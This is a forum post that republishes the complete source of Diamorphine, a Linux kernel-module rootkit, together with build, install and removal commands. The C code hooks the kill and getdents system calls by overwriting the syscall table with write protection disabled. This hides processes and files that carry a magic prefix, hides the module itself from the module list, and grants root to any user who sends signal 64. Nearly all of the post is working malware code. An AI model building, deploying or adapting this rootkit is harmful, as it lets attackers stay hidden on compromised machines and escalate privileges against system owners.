Active Members Fi8sVrs Posted November 1, 2017 Active Members Report Posted November 1, 2017 (edited) Diamorphine Diamorphine is a LKM rootkit for Linux Kernels 2.6.x/3.x/4.x Features When loaded, the module starts invisible; Hide/unhide any process by sending a signal 31; Sending a signal 63(to any pid) makes the module become (in)visible; Sending a signal 64(to any pid) makes the given user become root; Files or directories starting with the MAGIC_PREFIX become invisble; Source: https://github.com/m0nad/Diamorphine Install Verify if the kernel is 2.6.x/3.x/4.x uname -r Clone the repository git clone https://github.com/m0nad/Diamorphine Enter the folder cd Diamorphine Compile make Load the module(as root) insmod diamorphine.ko Uninstall The module starts invisible, to remove you need to make its visible kill -63 0 Then remove the module(as root) rmmod diamorphine References Wikipedia Rootkit https://en.wikipedia.org/wiki/Rootkit Linux Device Drivers http://lwn.net/Kernel/LDD3/ LKM HACKING https://www.thc.org/papers/LKM_HACKING.html Memset's blog http://memset.wordpress.com/ Linux on-the-fly kernel patching without LKM http://phrack.org/issues/58/7.html WRITING A SIMPLE ROOTKIT FOR LINUX http://big-daddy.fr/repository/Documentation/Hacking/Security/Malware/Rootkits/writing-rootkit.txt Linux Cross Reference http://lxr.free-electrons.com/ Mirror: Makefile - pushing the code Spoiler obj-m := diamorphine.o CC = gcc -Wall KDIR := /lib/modules/$(shell uname -r)/build PWD := $(shell pwd) all: $(MAKE) -C $(KDIR) M=$(PWD) modules clean: $(MAKE) -C $(KDIR) M=$(PWD) clean diamorphine.c - 'sys_call_table' symbol conflicts with a previous declaration Spoiler #include <asm/uaccess.h> #include <linux/sched.h> #include <linux/module.h> #include <linux/syscalls.h> #include <linux/dirent.h> #include <linux/slab.h> #include <linux/version.h> #if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 10, 0) #include <linux/proc_ns.h> #else #include <linux/proc_fs.h> #endif #if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 26) #include <linux/file.h> #else #include <linux/fdtable.h> #endif #include "diamorphine.h" unsigned long cr0; static unsigned long *__sys_call_table; typedef asmlinkage int (*orig_getdents_t)(unsigned int, struct linux_dirent *, unsigned int); typedef asmlinkage int (*orig_getdents64_t)(unsigned int, struct linux_dirent64 *, unsigned int); typedef asmlinkage int (*orig_kill_t)(pid_t, int); orig_getdents_t orig_getdents; orig_getdents64_t orig_getdents64; orig_kill_t orig_kill; unsigned long * get_syscall_table_bf(void) { unsigned long *syscall_table; unsigned long int i; for (i = START_MEM; i < END_MEM; i += sizeof(void *)) { syscall_table = (unsigned long *)i; if (syscall_table[__NR_close] == (unsigned long)sys_close) return syscall_table; } return NULL; } struct task_struct * find_task(pid_t pid) { struct task_struct *p = current; for_each_process(p) { if (p->pid == pid) return p; } return NULL; } int is_invisible(pid_t pid) { struct task_struct *task; if (!pid) return 0; task = find_task(pid); if (!task) return 0; if (task->flags & PF_INVISIBLE) return 1; return 0; } asmlinkage int hacked_getdents64(unsigned int fd, struct linux_dirent64 __user *dirent, unsigned int count) { int ret = orig_getdents64(fd, dirent, count), err; unsigned short proc = 0; unsigned long off = 0; struct linux_dirent64 *dir, *kdirent, *prev = NULL; struct inode *d_inode; if (ret <= 0) return ret; kdirent = kzalloc(ret, GFP_KERNEL); if (kdirent == NULL) return ret; err = copy_from_user(kdirent, dirent, ret); if (err) goto out; #if LINUX_VERSION_CODE < KERNEL_VERSION(3, 19, 0) d_inode = current->files->fdt->fd[fd]->f_dentry->d_inode; #else d_inode = current->files->fdt->fd[fd]->f_path.dentry->d_inode; #endif if (d_inode->i_ino == PROC_ROOT_INO && !MAJOR(d_inode->i_rdev) /*&& MINOR(d_inode->i_rdev) == 1*/) proc = 1; while (off < ret) { dir = (void *)kdirent + off; if ((!proc && (memcmp(MAGIC_PREFIX, dir->d_name, strlen(MAGIC_PREFIX)) == 0)) || (proc && is_invisible(simple_strtoul(dir->d_name, NULL, 10)))) { if (dir == kdirent) { ret -= dir->d_reclen; memmove(dir, (void *)dir + dir->d_reclen, ret); continue; } prev->d_reclen += dir->d_reclen; } else prev = dir; off += dir->d_reclen; } err = copy_to_user(dirent, kdirent, ret); if (err) goto out; out: kfree(kdirent); return ret; } asmlinkage int hacked_getdents(unsigned int fd, struct linux_dirent __user *dirent, unsigned int count) { int ret = orig_getdents(fd, dirent, count), err; unsigned short proc = 0; unsigned long off = 0; struct linux_dirent *dir, *kdirent, *prev = NULL; struct inode *d_inode; if (ret <= 0) return ret; kdirent = kzalloc(ret, GFP_KERNEL); if (kdirent == NULL) return ret; err = copy_from_user(kdirent, dirent, ret); if (err) goto out; #if LINUX_VERSION_CODE < KERNEL_VERSION(3, 19, 0) d_inode = current->files->fdt->fd[fd]->f_dentry->d_inode; #else d_inode = current->files->fdt->fd[fd]->f_path.dentry->d_inode; #endif if (d_inode->i_ino == PROC_ROOT_INO && !MAJOR(d_inode->i_rdev) /*&& MINOR(d_inode->i_rdev) == 1*/) proc = 1; while (off < ret) { dir = (void *)kdirent + off; if ((!proc && (memcmp(MAGIC_PREFIX, dir->d_name, strlen(MAGIC_PREFIX)) == 0)) || (proc && is_invisible(simple_strtoul(dir->d_name, NULL, 10)))) { if (dir == kdirent) { ret -= dir->d_reclen; memmove(dir, (void *)dir + dir->d_reclen, ret); continue; } prev->d_reclen += dir->d_reclen; } else prev = dir; off += dir->d_reclen; } err = copy_to_user(dirent, kdirent, ret); if (err) goto out; out: kfree(kdirent); return ret; } void give_root(void) { #if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 29) current->uid = current->gid = 0; current->euid = current->egid = 0; current->suid = current->sgid = 0; current->fsuid = current->fsgid = 0; #else struct cred *newcreds; newcreds = prepare_creds(); if (newcreds == NULL) return; #if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 5, 0) \ && defined(CONFIG_UIDGID_STRICT_TYPE_CHECKS) \ || LINUX_VERSION_CODE >= KERNEL_VERSION(3, 14, 0) newcreds->uid.val = newcreds->gid.val = 0; newcreds->euid.val = newcreds->egid.val = 0; newcreds->suid.val = newcreds->sgid.val = 0; newcreds->fsuid.val = newcreds->fsgid.val = 0; #else newcreds->uid = newcreds->gid = 0; newcreds->euid = newcreds->egid = 0; newcreds->suid = newcreds->sgid = 0; newcreds->fsuid = newcreds->fsgid = 0; #endif commit_creds(newcreds); #endif } static inline void tidy(void) { // kfree(THIS_MODULE->notes_attrs); // THIS_MODULE->notes_attrs = NULL; kfree(THIS_MODULE->sect_attrs); THIS_MODULE->sect_attrs = NULL; // kfree(THIS_MODULE->mkobj.mp); // THIS_MODULE->mkobj.mp = NULL; // THIS_MODULE->modinfo_attrs->attr.name = NULL; // kfree(THIS_MODULE->mkobj.drivers_dir); // THIS_MODULE->mkobj.drivers_dir = NULL; } static struct list_head *module_previous; static short module_hidden = 0; void module_show(void) { list_add(&THIS_MODULE->list, module_previous); //kobject_add(&THIS_MODULE->mkobj.kobj, THIS_MODULE->mkobj.kobj.parent, // MODULE_NAME); module_hidden = 0; } void module_hide(void) { module_previous = THIS_MODULE->list.prev; list_del(&THIS_MODULE->list); //kobject_del(&THIS_MODULE->mkobj.kobj); //list_del(&THIS_MODULE->mkobj.kobj.entry); module_hidden = 1; } asmlinkage int hacked_kill(pid_t pid, int sig) { struct task_struct *task; switch (sig) { case SIGINVIS: if ((task = find_task(pid)) == NULL) return -ESRCH; task->flags ^= PF_INVISIBLE; break; case SIGSUPER: give_root(); break; case SIGMODINVIS: if (module_hidden) module_show(); else module_hide(); break; default: return orig_kill(pid, sig); } return 0; } static inline void protect_memory(void) { write_cr0(cr0); } static inline void unprotect_memory(void) { write_cr0(cr0 & ~0x00010000); } static int __init diamorphine_init(void) { __sys_call_table = get_syscall_table_bf(); if (!__sys_call_table) return -1; cr0 = read_cr0(); module_hide(); tidy(); orig_getdents = (orig_getdents_t)__sys_call_table[__NR_getdents]; orig_getdents64 = (orig_getdents64_t)__sys_call_table[__NR_getdents64]; orig_kill = (orig_kill_t)__sys_call_table[__NR_kill]; unprotect_memory(); __sys_call_table[__NR_getdents] = (unsigned long)hacked_getdents; __sys_call_table[__NR_getdents64] = (unsigned long)hacked_getdents64; __sys_call_table[__NR_kill] = (unsigned long)hacked_kill; protect_memory(); return 0; } static void __exit diamorphine_cleanup(void) { unprotect_memory(); __sys_call_table[__NR_getdents] = (unsigned long)orig_getdents; __sys_call_table[__NR_getdents64] = (unsigned long)orig_getdents64; __sys_call_table[__NR_kill] = (unsigned long)orig_kill; protect_memory(); } module_init(diamorphine_init); module_exit(diamorphine_cleanup); MODULE_LICENSE("Dual BSD/GPL"); MODULE_AUTHOR("m0nad"); MODULE_DESCRIPTION("LKM rootkit"); diamorphine.h - remove useless code/comment Spoiler struct linux_dirent { unsigned long d_ino; unsigned long d_off; unsigned short d_reclen; char d_name[1]; }; #define START_MEM PAGE_OFFSET #define END_MEM ULONG_MAX #define MAGIC_PREFIX "diamorphine_secret" #define PF_INVISIBLE 0x10000000 #define MODULE_NAME "diamorphine" enum { SIGINVIS = 31, SIGSUPER = 64, SIGMODINVIS = 63, }; Source: https://github.com/m0nad/Diamorphine Edited November 1, 2017 by Fi8sVrs Quote